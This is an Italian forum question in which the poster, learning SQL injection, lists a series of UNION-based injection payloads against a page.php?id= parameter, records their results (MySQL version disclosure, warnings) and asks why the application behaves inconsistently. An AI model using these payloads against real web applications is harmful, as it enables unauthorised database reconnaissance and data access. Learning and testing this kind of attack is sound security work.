Comportamento di app web strana in SQL injection

2

Sto giocando con SQL injection (solo per scopi didattici bla bla) e mi sono bloccato su questo strano (per me) comportamento delle applicazioni web:

Ho iniettato con successo il seguente payload

page.php?id=-1 union all select 1,2,3 -- -

e posso vedere il numero 3 visualizzato sulla pagina. Buono. Quindi, ho trovato la versione del server MySQL con

page.php?id=-1 union all select 1,2,@@version -- -

che restituisce 5.5.54 . Ora vorrei trovare il database attualmente selezionato, quindi ho provato

page.php?id=-1 union all select 1,2,database() -- -

che fornisce il seguente avviso senza produrre l'output previsto Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ... .

Dopo ore di "test" ho osservato i seguenti comportamenti:

(1)
page.php?id=-1 union all select 1,2,@@version -- -
[works, output 5.5.54]

(2)
page.php?id=-1 union all select 1,2,version() -- -
[warning, no output]

(3)
page.php?id=-1 union all select 1,2,'a' -- -
[warning, no output]

(4)
page.php?id=-1 union all select 1,2,2*0.5 -- -
[works, output 1.0]

(5)
page.php?id=-1 union all select 1,2,2-0.5 -- -
[works, output 1.5]

(6)
page.php?id=-1 union all select 1,2,ascii('test') -- -
[warning, no output]

(7)
page.php?id=(select 1) -- -
[works exactly as id=1]

(8)
page.php?id=-1 union all select 1,2,(select 1) -- -
[warning, no output]

(9)
page.php?id=-1 union all select 1,2,select 1 -- -
[warning, no output]

(10)
page.php?id=-1 union all select 1,2,greatest(0,1) -- -
[warning, no output]

(11)
page.php?id=greatest(0, 1) -- -
[works exactly as id=1]

Inoltre, per ogni variabile di sistema del server ( Manuale di riferimento di MySQL 5.7 - Sistema server Variabili ) funziona come previsto.

Non ho una domanda specifica ma mi sembra che tutti questi comportamenti non siano coerenti (ad esempio, (1) - (2) o (9) - (10) - (11) o molti altri).

    
posta BlackBrain 25.01.2017 - 00:45
fonte

0 risposte

Leggi altre domande sui tag